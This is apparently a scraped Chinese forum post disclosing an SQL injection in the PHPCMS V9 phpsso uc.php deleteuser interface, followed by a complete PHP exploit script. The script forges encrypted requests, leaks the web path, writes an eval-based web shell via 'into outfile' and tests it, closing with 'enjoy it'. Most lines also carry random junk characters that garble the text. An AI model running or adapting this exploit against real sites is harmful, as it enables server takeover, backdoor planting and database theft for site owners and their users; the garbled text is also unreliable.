PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
' i! ?$ y" i: ]0 K# l3 |% u$ J
: c6 e% |" i z) l所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
# q& B5 P9 T3 W) j, w2 ]5 u/ s3 y3 e. b6 W
漏洞分析:) u( a4 g+ g: U& {
1.未启用ucenter服务的情况下uc_key为空- n4 k! `# M5 K' ^/ d5 X& g/ n
define('UC_KEY', pc_base::load_config('system', 'uc_key'));1 L( J1 b! g! P
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。3 j9 } O9 J. i$ v/ H1 t3 ^
public function deleteuser($get,$post) {, z" |/ E7 S0 R8 t6 m3 N
pc_base::load_app_func('global', 'admin');
% \, v; e3 I- D pc_base::load_app_class('messagequeue', 'admin' , 0);
- O- S6 o3 Q/ }$ v( ? $ids = new_stripslashes($get['ids']);" f2 m: g$ q( U. I5 g& v7 b6 V5 u
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
4 b* P0 F- g9 nSQL语句为
0 p0 Z7 G7 Y9 O: W: w; y5 V. Q& z1 t9 gSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)9 W; S: f: N9 N2 d4 l, H$ u
2 Y# O% r7 r0 O3 a; {
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell% p7 w2 k& k6 h5 r+ `9 i
<?php
. u6 y( p4 U& N/ ?print_r('
# c% l3 C- G4 Z& |' A! b---------------------------------------------------------------------------
& L2 N% W0 B2 O5 s J# {$ w( jPHPcms (v9 or Old Version) uc api sql injection 0day
0 N! E ~) J3 U$ F. Mby rayh4c#80sec.com
D* c* J, c( y/ G4 M3 m3 h---------------------------------------------------------------------------
0 v q5 n2 a" O& A) c6 j4 q');4 |! i* Z+ r7 p+ `% j2 T' x
$ c8 g/ e% b0 w0 I* Rif ($argc<3) {7 _4 j8 D/ d V K" v( X1 C
print_r('
# C2 X3 Z$ l/ O4 c2 F8 z---------------------------------------------------------------------------
1 a2 h! N% \& v/ X5 r. p0 P: cUsage: php '.$argv[0].' host path OPTIONS
9 e8 s2 u" t1 _2 z9 N, B* hhost: target server (ip/hostname)5 X% S9 a5 U1 q* n6 r. f! P# y$ Y7 H
path: path to phpcms% F5 [" r- V# C# z9 o$ ~# y! {
Options:1 t: ~& ~' ~8 j6 T
-p[port]: specify a port other than 80. k ~. e. m- x8 z
-P[ip:port]: specify a proxy
! Q( p t( x( t7 J7 YExample:
d* U1 c. [! M6 \. qphp '.$argv[0].' localhost /
. ]2 t/ p! ^; \1 b+ C+ ?. Z S; kphp '.$argv[0].' localhost /phpcms/ -p817 e- Z2 f0 L) @/ m1 z% ^5 E
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80; ^" }* H3 o* \, J, m9 y f1 \. z
---------------------------------------------------------------------------3 a' A1 R% K+ b8 P
');
5 I2 A6 H# i" y: ]9 m die;
8 ~2 U( [* x) G+ r2 ?}9 o y; }7 ^5 u) o& {
% H8 j; T1 J" V' Cerror_reporting(7);$ B- }0 I2 c1 K+ N0 v
ini_set("max_execution_time",0);, {/ E* ]* c! x% T
ini_set("default_socket_timeout",5);
# s% D% S0 T/ L. ]' ~+ U* V8 x, n+ o8 m( q! p6 [2 I) t
function quick_dump($string)
9 V( R/ ~# b# y, g5 v# e: ~! P{. M2 V$ X P' j: {0 R' x0 m) t
$result='';$exa='';$cont=0;
1 c) M. J1 Q; x8 n for ($i=0; $i<=strlen($string)-1; $i++)3 p, N- s" i- F* ~& x/ v
{ L* n) |% `, y
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
3 S" ?# I: l+ T; F2 m2 Q& J4 q {$result.=" .";}1 N, V% [$ H7 D: e g
else
. F4 Q5 K8 u, p K# W {$result.=" ".$string[$i];}
5 B' f' |+ Z$ W/ P- H if (strlen(dechex(ord($string[$i])))==2)
$ p Y: e3 J% r3 z {$exa.=" ".dechex(ord($string[$i]));}. y; E+ R' D* ]! }3 U
else% F) C& c% Q! G3 f3 W1 C8 k
{$exa.=" 0".dechex(ord($string[$i]));}9 }4 L$ K0 E/ Q& ]5 R7 ~0 c
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}; A2 G. Y# K' D8 G& h
}
0 M, |+ H, c* r return $exa."\r\n".$result;
4 @+ ]. Z' Q& i}
4 x1 U, p: }2 r. @, @" e$ a0 G$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';: J8 y. m2 A. H; U
/ x% h0 k0 ~$ w8 _& J9 zfunction send($packet), y6 ^# N. G6 m$ }4 b
{: {$ f* p* Z6 i6 Q8 T$ h
global $proxy, $host, $port, $html, $proxy_regex;
6 f, I" \5 t; ^' O# q if ($proxy=='') {+ S8 V; I) L8 b, `# b% V1 T5 U
$ock=fsockopen(gethostbyname($host),$port);
7 x& l4 P9 W& o$ A$ a/ ^9 o if (!$ock) {
$ e- C( P& a* P T1 t echo 'No response from '.$host.':'.$port; die;
( v- f# B( _0 ` }
; N7 G1 N3 l# t0 x- K" E }2 E; \$ F( U9 F* k1 T
else {0 B5 n) u% ^ V( H# c' ~
$c = preg_match($proxy_regex,$proxy);; m# G* G6 ?9 @. R9 a! A* s8 W# c
if (!$c) {4 r9 w6 S* b! X3 {5 A
echo 'Not a valid proxy...';die;; G* D3 U) Z& r& X
}% o" e7 i3 {& Q
$parts=explode(':',$proxy);& }! e) z |. y# t' Y: c
$parts[1]=(int)$parts[1];
: e( Z+ B1 F/ A2 P' {( W echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
( `& t& Y% V9 ?, O2 Q9 t $ock=fsockopen($parts[0],$parts[1]);
; A. ~" u$ m8 O9 ?( {2 k9 y if (!$ock) {" [" @5 u: Y5 S8 g
echo 'No response from proxy...';die;
W. ?; P T6 F, S4 p2 q7 T4 X }3 @7 e6 J* S) i' u) \% V
}) s5 b6 O& Y" Z ?
fputs($ock,$packet); N# a6 E2 P& q' H! L3 T8 y; d
if ($proxy=='') { Y& v& w( R9 n/ e6 r4 \8 J! N$ z
$html='';: Y9 F3 f9 h2 j! K( |) Z# b
while (!feof($ock)) {
4 o3 m5 C" x3 _2 a7 p+ e& T $html.=fgets($ock);
/ L( P5 H/ s2 W! q0 X1 s }
( r$ k% z3 }4 ?. ~" F$ l }, b: ]) ^5 `0 D& Y
else {7 L+ P* g" r# ]$ L. ~
$html='';# ]' t$ k: `2 q
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {4 F: w3 E. y4 z$ u' \8 u) u. n
$html.=fread($ock,1);! S& n% o/ m# G& ~! h' \. s N
}# ]1 ?: p" E2 I* ^1 O
}
( Z+ p4 O2 f" c% A, E4 B; ] fclose($ock);
+ L* k/ r$ V5 A/ j4 ?; u: v8 ]}
6 U; X& d0 m( @/ M2 J/ N; k5 x! G- Z: U
$host=$argv[1];
9 H3 A# Z* e) e4 P0 O& u$path=$argv[2];, o% s0 D# ?, \! r5 L; f
$port=80;
6 m7 G. J& D: y* K$ a$proxy="";
& V: m n: O/ Y# ` yfor ($i=3; $i<$argc; $i++){
5 O, [" [2 X/ c$temp=$argv[$i][0].$argv[$i][1];6 m2 T8 D( L7 r. o% a( J
if ($temp=="-p")
1 s& H4 Z# r; C5 h{
/ T) `5 ?9 W3 _" W* h $port=(int)str_replace("-p","",$argv[$i]);5 s7 _; h& ~1 d8 I. t$ q8 I
}
+ _1 A9 n! q+ U, B* ~4 T" @if ($temp=="-P")! m) K0 x" X) h
{6 r G, {" a" \1 Q9 C1 T
$proxy=str_replace("-P","",$argv[$i]);
b; K* `( D$ ?5 Q}
! V' t7 d6 p4 V Q% e3 z' G}
4 a6 Z" J% e& h+ \; a5 Z6 z- ?1 s: s# y9 m+ S* N/ k
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
. ^: G# z2 D% g- a4 {+ dif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}4 \5 ~5 _; m* ^4 |; a1 K
5 P ?# q3 ~5 D! K( J# G$ i/ L. ffunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {# c' \# e2 a9 A/ f7 R0 c' f6 n4 _
# D8 V3 K; B$ v3 T L
$ckey_length = 4;/ x% s) `- F; J# |
7 Z0 v7 e: Z1 | b; \9 g
$key = md5($key ? $key : '');* g4 \) a" _1 J* C4 }
$keya = md5(substr($key, 0, 16));
9 [. _' M2 t" U3 B $keyb = md5(substr($key, 16, 16));
, E0 V/ o0 }% y x$ L/ O5 M1 U $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! L+ v+ W/ ~2 g9 A9 C* I
+ M& J$ L/ H- K% d $cryptkey = $keya.md5($keya.$keyc);
8 L G- W5 Z5 h6 o' T& m/ [ $key_length = strlen($cryptkey);% \; l3 }! u5 c" O9 x& {
; X- p: Q. n1 H' J+ [$ j+ w$ e
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;+ N3 @0 w$ u/ H
$string_length = strlen($string);& |3 {, B; G( M6 d6 O
( v! S Z: p, V
$result = '';
+ n ?6 Y, M7 c, C- \ $box = range(0, 255);
& n# [2 s0 X& L8 A( Z
: B' P% |! @3 c. v% c# q; o $rndkey = array();
* Z: b+ g6 _( y6 b. G for($i = 0; $i <= 255; $i++) {* Z" P% H9 |: M4 Q
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
6 N9 o& }# X8 D- P1 e# T }
9 F1 `0 x7 D5 B- \5 h- F: y- D( ]+ m* z0 e% y; e
for($j = $i = 0; $i < 256; $i++) {* Q8 n: P/ b5 Z& C* J
$j = ($j + $box[$i] + $rndkey[$i]) % 256;8 Z" V* u+ S P4 G2 ^: I) x
$tmp = $box[$i];9 j2 L* Y" @; e* [: t- M
$box[$i] = $box[$j];: v! t9 T; a' H# ]; j
$box[$j] = $tmp;
( s+ U' G9 C0 I: A) [7 a2 z }
8 b3 F* ^* K* c- D7 n6 i4 @- h+ p4 P: O& Z; W0 z: O% D) D/ |
for($a = $j = $i = 0; $i < $string_length; $i++) {
* N4 {2 A$ R0 C3 d9 I5 j" S! j9 D+ o* @ $a = ($a + 1) % 256;2 n- {5 B5 [4 Z" j0 p
$j = ($j + $box[$a]) % 256;, I4 R& G% w- X3 i
$tmp = $box[$a];
# o2 z6 s: N: ~2 Q0 w $box[$a] = $box[$j];( | S: }2 ?! i. l G
$box[$j] = $tmp;+ F B4 d& v: m$ n5 O+ c; A
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
# K3 K. G2 f* q5 [" U2 z. r/ y0 \: U }, y2 g; t) z) L$ J( D, J Q: r, {
1 S2 B t" U/ z/ [+ l if($operation == 'DECODE') {
* X: i0 ^9 }6 m; @, D! ? if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
3 \* ^8 k8 h# S, J' l& v return substr($result, 26);
! v F0 s( `- R J# O5 j. } } else {4 I* c+ X5 u2 p6 g
return '';8 ?: m! Z8 n2 R$ q8 J' f' T" ^
}
* b& E+ Z; \9 x& N* K } else {' C" R7 i8 r1 }% R- o
return $keyc.str_replace('=', '', base64_encode($result));. `7 L3 G2 E8 J1 F* n+ t. P) a
}
- A1 g. R$ Q) m( i% M
4 j* O: `! v7 _+ _ e" [7 G}2 t0 g# l v& V' \2 G8 r* \
_4 i8 k6 R S J. i$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser"; ]- m$ v0 f, A, ?9 A
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
A3 }6 C; g" }8 xecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";. A8 u- B) ~1 a; T
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( ~, R) P. e) M% O
$packet.="User-Agent: Mozilla/5.0\r\n";
* ?8 l' @: C1 U a( S' k$packet.="Host: ".$host."\r\n";2 b1 z% r# m t# P. J
$packet.="Connection: Close\r\n\r\n";4 x0 s ~2 z1 p
send($packet);
( @. [ H% r ]0 zif(strpos($html,"MySQL Errno") > 0){% x9 ?+ A$ q+ o: @: n% f6 L
echo "[2] 发现存在SQL注入漏洞"."\n";% x( E( e1 w/ B0 L8 t" f/ I/ [
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
' y8 @0 y$ P# E$ V6 \7 J$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";3 p2 {% u# u, G- i: Y
$packet.="User-Agent: Mozilla/5.0\r\n";% g; o1 r; W- {9 U
$packet.="Host: ".$host."\r\n";# j3 O) b! @9 I+ {
$packet.="Connection: Close\r\n\r\n";8 N2 l* z- P5 v! Y* o9 b7 |
send($packet); B7 ]0 C B) }: ^; X5 B
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);/ B# Q0 M2 [& o2 j& r* S
//print_r($matches);
% S. M) ?5 ~7 h& {. w" v, ?if(!empty($matches)){
) \ ?: ~8 }8 L2 W; Cecho "[4] 得到web路径 " . $matches[0]."\n"; S" ?5 _& [& B( E
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
3 H0 C, a) ?" q( H4 q$SQL = "time=999999999999999999999999&ids=1)";5 Q x+ R' W" o$ e
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
, H2 z' Y' d# C r- l$SQL.="&action=deleteuser";
9 R; f B" [ ?3 h5 c" V. U$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 S2 v, @! l7 a# d- H
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: ^% z2 ?0 Q) d9 Z/ J) ^3 M$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
. l+ O; |& L& t2 W3 c$packet.="User-Agent: Mozilla/5.0\r\n";
6 U% M: w' ^6 ?* F: C# ^' m$packet.="Host: ".$host."\r\n";8 C, g" f, j" a! N
$packet.="Connection: Close\r\n\r\n";$ D" l( K* k( F. b+ h+ O2 m
send($packet);
4 s* l( [2 ]6 h/ i; F0 {$ U6 Qif(strpos($html,"Access denied") > 0){
9 C% [' U( c2 d9 Y5 necho "[-] MYSQL权限过低 禁止写入文件 ";7 j! }* I% D% o9 E/ u
die;' L7 a) p6 d+ R" x' n: i* `
}
8 _* L/ B8 o; o$ ~echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";( ]2 `5 p7 i; A" r* W2 ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
8 S8 s$ `1 ^4 _6 _$packet.="User-Agent: Mozilla/5.0\r\n";
/ \4 o" ?( W7 i9 L( B: q7 P* S5 Z5 J$packet.="Host: ".$host."\r\n";
) T* Y9 c8 a& @3 h7 T( X1 y4 Z: N2 G; I$packet.="Connection: Close\r\n\r\n";
" a3 O3 o8 Q% Y' B" e! W/ _send($packet);
! ]; u, l8 n( Q8 h# zif(strpos($html,"<title>phpinfo()</title>") > 0){
, [& [( A7 [) y9 v3 O, E, mecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
5 ]0 ^$ [/ j! T3 @}
! h) t' A! d: j2 ]7 }6 I}else{
# r7 |9 @: R7 x2 cecho "[-]未取到web路径 ";- Q& s- E8 C. ]2 u
}8 m, |0 M1 h( w9 S& C% G
}else{
# @8 f7 C1 {, M$ Decho "[*]不存在SQL注入漏洞"."\n";
( w+ Y$ q# D G2 L5 g) g}+ T# S0 b$ o6 U( G& @" l; o# i
( S( A9 d E$ O?>2 P* _7 y, r8 n& |; E% A2 W+ z2 N
|